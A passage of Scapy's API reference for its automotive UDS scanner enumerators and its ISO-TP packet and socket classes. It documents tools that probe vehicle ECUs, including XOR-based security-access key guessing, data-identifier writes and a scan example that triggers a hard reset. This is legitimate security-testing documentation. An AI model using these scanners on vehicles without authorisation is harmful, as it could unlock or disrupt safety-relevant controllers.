	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.


	unittest (bool) – Enables smaller search space for unit-test
scenarios. This saves execution time.

















	
class scapy.contrib.automotive.uds_scan.UDS_RMBASequentialEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L978-L1128]

	Bases: UDS_RMBAEnumeratorABC


	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L989-L992]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.


	points_of_interest (list) – A list of _PointOfInterest objects as
starting points for sequential search.













	
pre_execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, global_configuration: AutomotiveTestCaseExecutorConfiguration) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L1069-L1090]

	




	
show(dump: bool = False, filtered: bool = True, verbose: bool = False) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L1103-L1128]

	








	
class scapy.contrib.automotive.uds_scan.UDS_SAEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L554-L654]

	Bases: UDS_Enumerator


	
static evaluate_security_access_response(res: Packet | None, seed: Packet, key: Packet | None) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L643-L654]

	




	
static get_seed_pkt(sock: SuperSocket | SingleConversationSocket, level: int = 1, record: bytes = b'') → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L620-L641]

	




	
pre_execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, global_configuration: AutomotiveTestCaseExecutorConfiguration) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L573-L580]

	








	
class scapy.contrib.automotive.uds_scan.UDS_SA_XOR_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L657-L775]

	Bases: UDS_SAEnumerator, StateGenerator


	
static get_key_pkt(seed: Packet, level: int = 1) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L661-L694]

	




	
get_new_edge(socket: SuperSocket | SingleConversationSocket, config: AutomotiveTestCaseExecutorConfiguration) → Tuple[EcuState, EcuState] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L740-L770]

	




	
get_security_access(sock: SuperSocket | SingleConversationSocket, level: int = 1, seed_pkt: Packet | None = None) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L696-L731]

	




	
get_transition_function(socket: SuperSocket | SingleConversationSocket, edge: Tuple[EcuState, EcuState]) → Tuple[Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]], bool], Dict[str, Any], Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration], bool] | None] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L772-L775]

	




	
transition_function(sock: SuperSocket | SingleConversationSocket, _: AutomotiveTestCaseExecutorConfiguration, kwargs: Dict[str, Any]) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L733-L738]

	








	
class scapy.contrib.automotive.uds_scan.UDS_Scanner(socket: SuperSocket | SingleConversationSocket, reset_handler: Callable[[], None] | None = None, reconnect_handler: Callable[[], SuperSocket | SingleConversationSocket] | None = None, test_cases: List[AutomotiveTestCaseABC | Type[AutomotiveTestCaseABC]] | None = None, **kwargs: Dict[str, Any] | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L1221-L1254]

	Bases: AutomotiveTestCaseExecutor

Example

>>> def reconnect():
>>>     return UDS_DoIPSocket("169.254.186.237")
>>>
>>> es = [UDS_ServiceEnumerator, UDS_DSCEnumerator]
>>>
>>> def reset():
>>>     reconnect().sr1(UDS()/UDS_ER(resetType="hardReset"),
>>>                     verbose=False, timeout=1)
>>>
>>> s = UDS_Scanner(reconnect(), reconnect_handler=reconnect,
>>>                 reset_handler=reset, test_cases=es,
>>>                 UDS_DSCEnumerator_kwargs={
>>>                     "timeout": 20,
>>>                     "overwrite_timeout": False,
>>>                     "scan_range": [1, 3]})
>>>
>>> try:
>>>     s.scan()
>>> except KeyboardInterrupt:
>>>     pass
>>>
>>> s.show_testcases_status()
>>> s.show_testcases()






	
property default_test_case_clss: List[Type[AutomotiveTestCaseABC]]

	








	
class scapy.contrib.automotive.uds_scan.UDS_ServiceEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L306-L359]

	Bases: UDS_Enumerator


	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L322-L324]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.


	request_length (int) – Specifies the maximum length of arequest
packet. The enumerator will generate all
packets from a length of 1 (UDS Service
ID only) up to the specified
request_length.

















	
class scapy.contrib.automotive.uds_scan.UDS_TDEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L1203-L1218]

	Bases: UDS_Enumerator






	
class scapy.contrib.automotive.uds_scan.UDS_TPEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L202-L241]

	Bases: UDS_Enumerator, StateGeneratingServiceEnumerator


	
static cleanup(_: SuperSocket | SingleConversationSocket, configuration: AutomotiveTestCaseExecutorConfiguration) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L228-L237]

	




	
static enter(socket: SuperSocket | SingleConversationSocket, configuration: AutomotiveTestCaseExecutorConfiguration, _: Dict[str, Any]) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L213-L226]

	




	
get_transition_function(socket: SuperSocket | SingleConversationSocket, edge: Tuple[EcuState, EcuState]) → Tuple[Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]], bool], Dict[str, Any], Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration], bool] | None] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L239-L241]

	








	
class scapy.contrib.automotive.uds_scan.UDS_WDBIEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L491-L537]

	Bases: UDS_Enumerator


	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L506-L508]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.


	rdbi_enumerator (UDS_RDBIEnumerator) – Specifies an instance of an UDS_RDBIEnumerator
which is used to extract possible data
identifiers.

















	
class scapy.contrib.automotive.uds_scan.UDS_WDBISelectiveEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L540-L551]

	Bases: StagedAutomotiveTestCase








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.isotp package


	
class scapy.contrib.isotp.ISOTP(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L50-L207]

	Bases: Packet

Packet class for ISOTP messages. This class contains additional
slots for source address (tx_id), destination address (rx_id),
extended source address (ext_address) and
extended destination address (rx_ext_address) information. This information
gets filled from ISOTPSockets or the ISOTPMessageBuilder, if it
is available. Address information is not used for Packet comparison.


	Parameters:

	
	args – Arguments for Packet init, for example bytes string


	kwargs – Keyword arguments for Packet init.









	
aliastypes

	




	
comment: bytes | None

	




	
default_fields: Dict[str, Any]

	




	
static defragment(can_frames: List[Packet], use_extended_addressing: bool | None = None) → ISOTP | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L166-L207]

	Helper function to defragment a list of CAN frames to one ISOTP
message


	Parameters:

	
	can_frames – A list of CAN frames


	use_extended_addressing – Specify if extended ISO-TP addressing
is used in the packets for
defragmentation.






	Returns:

	An ISOTP message containing the data of the CAN frames or None










	
direction: int | None

	




	
explicit

	




	
ext_address: int | None

	




	
fields: Dict[str, Any]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. ISOTP                            


ISOTP fields






	data

	StrField

	b''











	
fieldtype: Dict[str, AnyField]

	




	
fragment(*args: Any, **kargs: Any) → List[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L94-L164]

	Helper function to fragment an ISOTP message into multiple
CAN frames.


	Parameters:

	fd – type: Optional[bool]: will fragment the can frames
with size CAN_FD_MAX_DLEN



	Returns:

	A list of CAN frames










	
name

	




	
original

	




	
overload_fields: Dict[Type[Packet], Dict[str, Any]]

	




	
overloaded_fields: Dict[str, Any]

	




	
packetfields: List[AnyField]

	




	
parent

	




	
payload: Packet

	




	
post_transforms

	




	
raw_packet_cache: bytes | None

	




	
raw_packet_cache_fields: Dict[str, Any] | None

	




	
rx_ext_address: int | None

	




	
rx_id: int | None

	




	
sent_time: EDecimal | float | None

	




	
sniffed_on: _GlobInterfaceType | None

	




	
stop_dissection_after

	




	
time: EDecimal | float

	




	
tx_id: int | None

	




	
underlayer

	




	
validate_fields() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L76-L92]

	Helper function to validate information in tx_id, rx_id,
ext_address and rx_ext_address slots






	
wirelen: int | None

	








	
class scapy.contrib.isotp.ISOTPHeader(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L210-L267]

	Bases: CAN


	
aliastypes

	




	
extract_padding(p: bytes) → Tuple[bytes, bytes | None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L221-L223]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |                    RESERVED                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. ISOTPHeader                         


ISOTPHeader fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	ByteField

	None



	reserved

	ThreeBytesField

	0











	
guess_payload_class(payload: bytes) → Type[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L238-L267]

	ISO-TP encodes the frame type in the first nibble of a frame. This
is used to determine the payload_class


	Parameters:

	payload – payload bytes string



	Returns:

	Type of payload class










	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L225-L236]

	This will set the ByteField ‘length’ to the correct value.










	
class scapy.contrib.isotp.ISOTPHeaderEA(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, reserved=0, extended_address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L305-L330]

	Bases: ISOTPHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |                    RESERVED                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |EXTENDED ADDRES|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ISOTPHeaderEA                        


ISOTPHeaderEA fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	ByteField

	None



	reserved

	ThreeBytesField

	0



	extended_address

	XByteField

	0











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L317-L330]

	This will set the ByteField ‘length’ to the correct value.
‘chb(len(pay) + 1)’ is required, because the field ‘extended_address’
is counted as payload on the CAN layer










	
class scapy.contrib.isotp.ISOTPHeaderEA_FD(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, fd_flags=<Flag 4 (fd_frame)>, reserved=0, extended_address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L333-L366]

	Bases: ISOTPHeaderEA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |    FD FLAGS   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|EXTENDED ADDRES|
+-+-+-+-+-+-+-+-+

                      Fig. ISOTPHeaderEA_FD                       


ISOTPHeaderEA_FD fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	ByteField

	None



	fd_flags

	FlagsField

	<Flag 4 (fd_frame)>



	reserved

	ShortField

	0



	extended_address

	XByteField

	0











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L348-L366]

	








	
class scapy.contrib.isotp.ISOTPHeader_FD(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, fd_flags=<Flag 4 (fd_frame)>, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L270-L302]

	Bases: ISOTPHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |    FD FLAGS   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ISOTPHeader_FD                        


ISOTPHeader_FD fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	ByteField

	None



	fd_flags

	FlagsField

	<Flag 4 (fd_frame)>



	reserved

	ShortField

	0











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L284-L302]

	








	
class scapy.contrib.isotp.ISOTPMessageBuilder(use_ext_address: bool | None = None, rx_id: int | ~typing.List[int] | ~typing.Iterable[int] | None = None, basecls: ~typing.Type[~scapy.contrib.isotp.isotp_packet.ISOTP] = <class 'scapy.contrib.isotp.isotp_packet.ISOTP'>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L63-L330]

	Bases: object

Initialize a ISOTPMessageBuilder object

Utility class to build ISOTP messages out of CAN frames, used by both
ISOTP.defragment() and ISOTPSession.

This class attempts to interpret some CAN frames as ISOTP frames, both with
and without extended addressing at the same time. For example, if an
extended address of 07 is being used, all frames will also be interpreted
as ISOTP single-frame messages.

CAN frames are fed to an ISOTPMessageBuilder object with the feed() method
and the resulting ISOTP frames can be extracted using the pop() method.


	Parameters:

	
	use_ext_address – True for only attempting to defragment with
extended addressing, False for only attempting
to defragment without extended addressing,
or None for both


	rx_id – Destination Identifier


	basecls – The class of packets that will be returned,
defaults to ISOTP









	
class Bucket(total_len: int, first_piece: bytes, ts: EDecimal | float)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L87-L109]

	Bases: object

Helper class to store not finished ISOTP messages while building.


	
push(piece: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L103-L109]

	








	
property count: int

	Returns the number of ready ISOTP messages built from the provided
can frames


	Returns:

	Number of ready ISOTP messages










	
feed(can: Iterable[Packet] | Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L135-L155]

	Attempt to feed an incoming CAN frame into the state machine






	
pop(identifier: int | None = None, ext_addr: int | None = None) → ISOTP | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L171-L194]

	Returns a built ISOTP message


	Parameters:

	
	identifier – if not None, only return isotp messages with this
destination


	ext_addr – if identifier is not None, only return isotp messages
with this extended address for destination






	Returns:

	an ISOTP packet, or None if no message is ready














	
class scapy.contrib.isotp.ISOTPNativeSocket(iface: str | ~scapy.supersocket.SuperSocket | None = None, tx_id: int = 0, rx_id: int = 0, ext_address: int | None = None, rx_ext_address: int | None = None, bs: int = 0, stmin: int = 0, padding: bool = False, listen_only: bool = False, frame_txtime: int = 0, fd: bool = False, basecls: ~typing.Type[~scapy.packet.Packet] = <class 'scapy.contrib.isotp.isotp_packet.ISOTP'>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_native_socket.py#L101-L411]

	Bases: SuperSocket

ISOTPSocket using the can-isotp kernel module


	Parameters:

	
	iface – a CANSocket instance or an interface name


	tx_id – the CAN identifier of the sent CAN frames


	rx_id – the CAN identifier of the received CAN frames


	ext_address – the extended address of the sent ISOTP frames


	rx_ext_address – the extended address of the received ISOTP frames


	bs – block size sent in Flow Control ISOTP frames


	stmin – minimum desired separation time sent in
Flow Control ISOTP frames


	padding – If True, pads sending packets with 0x00 which not
count to the payload.
Does not affect receiving packets.


	listen_only – Does not send Flow Control frames if a First Frame is
received


	frame_txtime – Separation time between two CAN frames during send


	basecls – base class of the packets emitted by this socket









	
auxdata_available: bool = True

	




	
can_isotp_fc_options_fmt = '@3B'

	




	
can_isotp_ll_options_fmt = '@3B'

	




	
can_isotp_options_fmt = '@2I4B'

	




	
desc = 'read/write packets at a given CAN interface using CAN_ISOTP socket '

	




	
recv(x: int = 65535, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_native_socket.py#L397-L411]

	




	
recv_raw(x: int = 65535) → Tuple[Type[Packet] | None, bytes | None, float | None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_native_socket.py#L361-L395]

	Receives a packet, then returns a tuple containing
(cls, pkt_data, time)






	
sockaddr_can_fmt = '@H3I'

	








	
class scapy.contrib.isotp.ISOTPSession(*args: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L333-L361]

	Bases: DefaultSession

Defragment ISOTP packets ‘on-the-flow’.


	Usage:
	>>> sniff(session=ISOTPSession)










	
recv(sock: SuperSocket) → Iterator[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L348-L361]

	Will be called by sniff() to ask for a packet










	
scapy.contrib.isotp.ISOTPSocket[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L60-L217]

	alias of ISOTPSoftSocket






	
class scapy.contrib.isotp.ISOTPSoftSocket(can_socket: Optional["CANSocket"] = None, tx_id: int = 0, rx_id: int = 0, ext_address: Optional[int] = None, rx_ext_address: Optional[int] = None, bs: int = 0, stmin: int = 0, padding: bool = False, listen_only: bool = False, basecls: Type[Packet] = <class 'scapy.contrib.isotp.isotp_packet.ISOTP'>, fd: bool = False)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L60-L217]

	Bases: SuperSocket

This class is a wrapper around the ISOTPSocketImplementation, for the
reasons described below.

The ISOTPSoftSocket aims to be fully compatible with the Linux ISOTP
sockets provided by the can-isotp kernel module, while being usable on any
operating system.
Therefore, this socket needs to be able to respond to an incoming FF frame
with a FC frame even before the recv() method is called.
A thread is needed for receiving CAN frames in the background, and since
the lower layer CAN implementation is not guaranteed to have a functioning
POSIX select(), each ISOTP socket needs its own CAN receiver thread.
SuperSocket automatically calls the close() method when the GC destroys an
ISOTPSoftSocket. However, note that if any thread holds a reference to
an ISOTPSoftSocket object, it will not be collected by the GC.

The implementation of the ISOTP protocol, along with the necessary
thread, are stored in the ISOTPSocketImplementation class, and therefore:


	There no reference from ISOTPSocketImplementation to ISOTPSoftSocket


	ISOTPSoftSocket can be normally garbage collected


	Upon destruction, ISOTPSoftSocket.close() will be called


	ISOTPSoftSocket.close() will call ISOTPSocketImplementation.close()


	RX background thread can be stopped by the garbage collector




Initialize an ISOTPSoftSocket using the provided underlying can socket.


	Example (with NativeCANSocket underneath):
	>>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}
>>> load_contrib('isotp')
>>> with ISOTPSocket("can0", tx_id=0x641, rx_id=0x241) as sock:
>>>     sock.send(...)







	Example (with PythonCANSocket underneath):
	>>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}
>>> conf.contribs['CANSocket'] = {'use-python-can': True}
>>> load_contrib('isotp')
>>> with ISOTPSocket(CANSocket(bustype='socketcan', channel="can0"), tx_id=0x641, rx_id=0x241) as sock:
>>>     sock.send(...)










	Parameters:

	
	can_socket – a CANSocket instance, preferably filtering only can
frames with identifier equal to rx_id


	tx_id – the CAN identifier of the sent CAN frames


	rx_id – the CAN identifier of the received CAN frames


	ext_address – the extended address of the sent ISOTP frames


	rx_ext_address – the extended address of the received ISOTP frames


	bs – block size sent in Flow Control ISOTP frames


	stmin – minimum desired separation time sent in
Flow Control ISOTP frames


	padding – If True, pads sending packets with 0x00 which not
count to the payload.
Does not affect receiving packets.


	listen_only – Does not send Flow Control frames if a First Frame is
received


	basecls – base class of the packets emitted by this socket


	fd – enables the CanFD support for this socket









	
close() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L167-L171]

	




	
failure_analysis() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L173-L175]

	




	
recv(x: int = 65535, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L189-L203]

	




	
recv_raw(x: int = 65535) → Tuple[Type[Packet] | None, bytes | None, float | None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L177-L187]

	Receive a complete ISOTP message, blocking until a message is
received or the specified timeout is reached.
If self.timeout is 0, then this function doesn’t block and returns the
first frame in the receive buffer or None if there isn’t any.






	
static select(sockets: List[SuperSocket], remain: float | None = None) → List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L205-L217]

	This function is called during sendrecv() routine to wait for
sockets to be ready to receive










	
class scapy.contrib.isotp.ISOTP_CF(_pkt, /, *, type=2, index=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L415-L421]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE | INDEX |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ISOTP_CF                           


ISOTP_CF fields






	type

	BitEnumField

	2



	index

	BitField  (4 bits)

	0



	data

	StrField

	b''















	
class scapy.contrib.isotp.ISOTP_FC(_pkt, /, *, type=3, fc_flag=0, block_size=0, separation_time=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L424-L433]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |FC FLAG|   BLOCK SIZE  |SEPARATION TIME|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ISOTP_FC                           


ISOTP_FC fields






	type

	BitEnumField

	3



	fc_flag

	BitEnumField

	0



	block_size

	ByteField

	0



	separation_time

	ByteField

	0















	
class scapy.contrib.isotp.ISOTP_FF(_pkt, /, *, type=1, message_size=0, extended_message_size=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L394-L402]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
